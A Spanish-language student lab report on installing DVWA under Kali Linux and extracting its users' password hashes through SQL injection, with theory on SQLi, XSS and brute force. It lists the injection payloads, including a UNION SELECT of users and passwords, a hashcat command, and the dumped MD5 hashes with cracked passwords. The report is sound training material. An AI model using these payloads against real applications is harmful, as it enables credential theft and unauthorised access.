0% encontró este documento útil (0 votos)
56 vistas23 páginas

Laboratorio Dvwa Con Sqli

Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
56 vistas23 páginas

Laboratorio Dvwa Con Sqli

Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

UNIVERSIDAD NACIONAL AGRARIA DE LA SELVA

FACULTAD DE INGENIERÍA EN INFORMÁTICA Y SISTEMAS

Escuela profesional de ingeniería en informática y sistemas

EXTRACCION DE CONTRASEÑAS DE USUARIOS DE LA BASE DE


DATOS DVWA MEDIANTE ATAQUES DE SQLi, XSS Y FUERZA BRUTA
DESDE KALI LINUX

ALUMNO: Chumbe Córdova, Salvador

DOCENTE: Einstein Arnold Ortiz Morales

CURSO: Seguridad Informática I

Tingo María
2024
Tabla de contenido
INTRODUCCION ............................................................................................................ 3
MARCO TEORICO .......................................................................................................... 4
Inyección SQL (SQLi) .................................................................................................. 4
Tipos de Inyección SQL............................................................................................... 4
Impacto y Mitigación de SQLi ...................................................................................... 4
Cross-Site Scripting (XSS) ........................................................................................... 4
Tipos de XSS .............................................................................................................. 4
Impacto y Mitigación XSS ............................................................................................ 5
Fuerza Bruta............................................................................................................... 5
Tipos de Ataques de Fuerza Bruta ............................................................................... 5
Kali Linux ................................................................................................................... 6
Damn Vulnerable Web Application (DVWA) ................................................................. 6
DESARROLLO DEL LABORATORIO .................................................................................. 7
RESULTADOS............................................................................................................... 21
CONCLUSIONES ......................................................................................................... 23
INTRODUCCION

En la era digital, la seguridad de la información se ha convertido en una prioridad


crucial para las organizaciones y usuarios. Las bases de datos, que almacenan
información crítica, son un objetivo atractivo para los atacantes. La seguridad de
las aplicaciones web, por tanto, es un aspecto fundamental que debe ser
robustamente defendido para prevenir accesos no autorizados y la extracción de
datos sensibles.

Este informe aborda la vulnerabilidad de la base de datos DVWA (Damn


Vulnerable Web Application), una aplicación web diseñada para ser
deliberadamente insegura, proporcionando un entorno controlado para probar
herramientas y técnicas de penetración. Utilizando Kali Linux, una distribución
de Linux especializada en pruebas de penetración y análisis de seguridad, se
explorarán tres métodos de ataque comúnmente empleados por los
cibercriminales para extraer contraseñas de usuarios: inyección SQL (SQLi),
Cross-Site Scripting (XSS) y fuerza bruta. A través de este análisis, se pretende
resaltar la importancia de adoptar medidas de seguridad robustas y concientizar
sobre los riesgos asociados con las vulnerabilidades en aplicaciones web.
MARCO TEORICO
Inyección SQL (SQLi)
La inyección SQL es una técnica de ataque en la que un atacante inserta o
"inyecta" código SQL malicioso en las entradas de una aplicación web, con el
objetivo de manipular las consultas SQL que esta realiza a su base de datos.
Esto puede permitir al atacante ejecutar comandos no autorizados, obtener
información confidencial, modificar datos o incluso eliminar tablas completas.

Tipos de Inyección SQL


Inyección SQL Basada en Errores: Explota mensajes de error proporcionados
por el servidor para obtener información sobre la estructura de la base de datos.

Inyección SQL Ciega: No proporciona mensajes de error, por lo que los atacantes
deben inferir la información a través de respuestas booleanas (verdadero/falso).

Inyección SQL de Unión: Utiliza el comando SQL UNION para combinar los
resultados de dos o más consultas SELECT, permitiendo extraer datos
adicionales.

Impacto y Mitigación de SQLi


El impacto de una inyección SQL exitosa puede ser devastador, comprometiendo
la integridad y confidencialidad de los datos. Las mitigaciones incluyen el uso de
consultas preparadas, procedimientos almacenados, y la validación y
saneamiento adecuados de las entradas de usuario.

Cross-Site Scripting (XSS)


Es un tipo de vulnerabilidad que permite a los atacantes inyectar scripts
maliciosos en páginas web vistas por otros usuarios. Cuando un usuario visita
una página comprometida, el script se ejecuta en su navegador, permitiendo al
atacante robar información confidencial, como cookies de sesión, y realizar
acciones en nombre del usuario.

Tipos de XSS
XSS Reflejado: El script malicioso se incluye en la solicitud HTTP y se refleja en
la respuesta inmediata de la aplicación web.
XSS Persistente: El script malicioso se almacena en el servidor (por ejemplo, en
una base de datos) y se ejecuta cuando un usuario accede a la página afectada.

XSS Basado en DOM: La manipulación del Document Object Model (DOM)


permite que el script malicioso se ejecute en el navegador del usuario sin
interacción con el servidor.

Impacto y Mitigación XSS


Los ataques XSS pueden resultar en el robo de datos de sesión, la ejecución de
acciones maliciosas en nombre del usuario y el compromiso de la integridad de
las aplicaciones web. Las medidas de mitigación incluyen la validación y escape
de entradas y salidas, el uso de Content Security Policy (CSP) y la configuración
adecuada de cabeceras HTTP.

Fuerza Bruta
El ataque de fuerza bruta es una técnica que consiste en probar todas las
combinaciones posibles de contraseñas hasta encontrar la correcta. Este
método es intensivo en recursos y tiempo, pero puede ser efectivo si las
contraseñas son cortas o débiles.

Tipos de Ataques de Fuerza Bruta


Ataque de Diccionario: Utiliza una lista predefinida de contraseñas comunes o
probables.

Ataque Exhaustivo: Prueba todas las combinaciones posibles de caracteres


hasta encontrar la contraseña correcta.

Ataque de Fuerza Bruta Distribuido: Utiliza múltiples máquinas o servicios para


distribuir la carga del ataque, acelerando el proceso.

Impacto y Mitigación de Ataques de Fuerza Bruta

El éxito de un ataque de fuerza bruta depende de la complejidad y longitud de


las contraseñas utilizadas. Las medidas de mitigación incluyen la
implementación de políticas de contraseñas robustas, la utilización de captchas,
el bloqueo de cuentas después de múltiples intentos fallidos y la implementación
de mecanismos de autenticación multifactor.
Kali Linux
Es una distribución de Linux basada en Debian, diseñada específicamente para
pruebas de penetración y auditorías de seguridad. Incluye una amplia gama de
herramientas preinstaladas para realizar ataques de SQLi, XSS y fuerza bruta,
entre otros.

Damn Vulnerable Web Application (DVWA)


DVWA es una aplicación web intencionalmente vulnerable, utilizada para
practicar y aprender sobre técnicas de penetración en un entorno seguro.
Proporciona distintos niveles de dificultad para cada vulnerabilidad, permitiendo
a los usuarios mejorar sus habilidades de manera progresiva.
DESARROLLO DEL LABORATORIO

Para llevar a cabo este laboratorio de extracción de contraseñas de usuarios de


la base de datos “DVWA” en un ambiente controlado es necesario clonar el
repositorio desde github en el directorio “/var/www/html” de Kali Linux. Para ello
se debe de tener instalado git en el sistema operativo.

Imagen 1. Instalación de git

Luego de instalar git, se procedió a clonar el repositorio DVWA desde github para
realizar los ataques controlados, para ello, fue necesario acceder a la terminal
como usuario root para tener todos los permisos y privilegios al ejecutar los
comandos.
Imagen 2. Clonación del repositorio DVWA

Posteriormente se renombró la carpeta clonada de mayúsculas a minúsculas


para agilizar el acceso en la consola.

Imagen 3. Renombramiento de directorio


A continuación, se le dieron permisos completos a la carpeta y sus archivos y se
hizo una copia del archivo [Link] para trabajar sobre él.

Imagen 4. Permisos y copia de respaldo

Para continuar con el propósito, fue necesario iniciar los servicios mysql, apache
y mariadb para poder interactuar con la base de datos, como se evidencia en las
figuras 5, 6 y 7.

Imagen 5. Inicio del servicio mysql


Imagen 6. Inicio del servicio apache

Imagen 7. Inicio del servicio mariadb

Luego de iniciar los servicios, se procedió a modificar el usuario y clave de la


base de datos dvwa en el archivo [Link] para fines didácticos.
Imagen 8. Cambio de credenciales

Para continuar se accedió al directorio “/etc/php/8.2/apache2” para modificar


algunas propiedades del archivo [Link] tal como se muestra en la imagen 10.

Imagen 9. Directorio apache


Imagen 10. Propiedades activadas

Se procedió a crear la base de datos siguiendo las especificaciones de la guía


práctica como también el usuario con las mismas credenciales que modificaron
anteriormente, se conceden los privilegios y se observan las bases de datos
que existen.

Imagen 11. Creación de base de datos dvwa

En este punto, se debe acceder a la base de datos creada con el usuario que
indicamos en el paso anterior.
Imagen 12. Acceso a la base de datos

Como los servicios están activos, ahora se puede acceder al localhost/dvwa para
ingresar a configurar la aplicación por la interfaz de usuario con las credenciales
especificadas.

Imagen 13. Interfaz de ingreso a la aplicación


Se observa, luego de ingresar, las configuraciones activas y las credenciales
del usuario de la base de datos.

Imagen 14. Configuración de la base de datos

Imagen 15. Instrucciones de aplicación vulnerable


Se cambio la seguridad a nivel bajo para realizar este ejercicio como se
muestra en la imagen.

Imagen 16. Cambio de nivel de seguridad de la aplicación

También se ingresó a analizar el código fuente en php que contiene las


sentencias sql que usaremos para hacer el ataque SQLi.

Imagen 17. Código fuente de la vulnerabilidad


Se insertó el código para obtener los datos de usuarios registrados, en este caso
se ingresó: 1’ or ‘1’=’1, lo que producirá que la sentencia sql devuelva los datos
de los usuarios cuando su id sea 1 o cuando 1 sea igual a 1, lo cual siempre se
cumplirá, y por ende, retornará la lista de todos los usuarios. De manera similar,
para obtener los nombres de usuarios y las contraseñas en forma de hashes se
insertó la siguiente instrucción: UNION SELECT user, password FROM users.

Imagen 18. Ataque sql para obtener usuarios

Imagen 19. Obtención de hashes de contraseñas


La herramienta usada para realizar el analisis y descifrado de los hashes será
hashcat, un software para la recuperación de contraseñas mediante ataques de
fuerza bruta y otros métodos de cracking.

Imagen 20. Instalación de hashcat

A continuación se ingresa el comando “hashcat -m 0 [Link]” donde 0


representa el tipo de algoritmo a descifrar, MD5 en este caso, y el archivo
[Link] contiene el hash que se intenta descifrar. Pero, en este caso, el
almacenamiento de la maquina virtual no es suficiente para llevar a cabo el
ataque, debido a ello se uso una herramienta online de descifrado.
Imagen 21. Descifrado de contraseñas con hashcat

Se utilizo el sitio online [Link] para realizar el descifrado que seria la ultima
parte del ataque. A continuación se evidencian las contraseñas obtenidas luego
del descifrado.

Imagen 22. Contraseña descifrada 1: password


Imagen 23. Contraseña descifrada 2: abc123

Imagen 24. Contraseña descifrada 3: charley


Imagen 25. Contraseña descifrada 4: letmein

Imagen 26. Contraseña descifrada 5: password


RESULTADOS

Se creo la base de datos dvwa.

Se creo el usuario “chumbe” con la contraseña “pass

Se inserto código sql para estraer datos de los usuario y sus contraseñas en
forma de hashes como se muestra:

ID: ' UNION SELECT user, password FROM users#

First name: admin


Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users#


First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users#


First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users#


First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users#


First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
Las contraseñas obtenidas son:

Usuario Hash de contraseña Contraseña descifrada

admin 5f4dcc3b5aa765d61d8327deb882cf99 password

gordonb e99a18c428cb38d5f260853678922e03 abc123

1337 8d3533d75ae2c3966d7e0d4fcc69216b charley

pablo 0d107d09f5bbe40cade3de5c71e9e9b7 letmein

smithy 5f4dcc3b5aa765d61d8327deb882cf99 password


CONCLUSIONES

La práctica demostró que las aplicaciones web pueden ser vulnerables a ataques
de inyección SQL si no se implementan adecuadamente medidas de seguridad.
La DVWA, diseñada para ser insegura, permitió observar cómo una simple
vulnerabilidad puede ser explotada para acceder a información confidencial,
como contraseñas de usuarios.

Uno de los puntos clave observados es la importancia crítica de validar y sanear


todas las entradas de usuario. La falta de validación y el uso de consultas SQL
dinámicas sin protección pueden llevar a vulnerabilidades explotables. Las
técnicas como consultas preparadas y la utilización de ORM (Object-Relational
Mapping) pueden mitigar estos riesgos al prevenir la inyección de código
malicioso.

El uso de Kali Linux y sus herramientas de auditoría y penetración mostró su


eficacia en la identificación y explotación de vulnerabilidades, ya que ayuda a
descubrir puntos débiles antes de que puedan ser explotados por atacantes
malintencionados.

También podría gustarte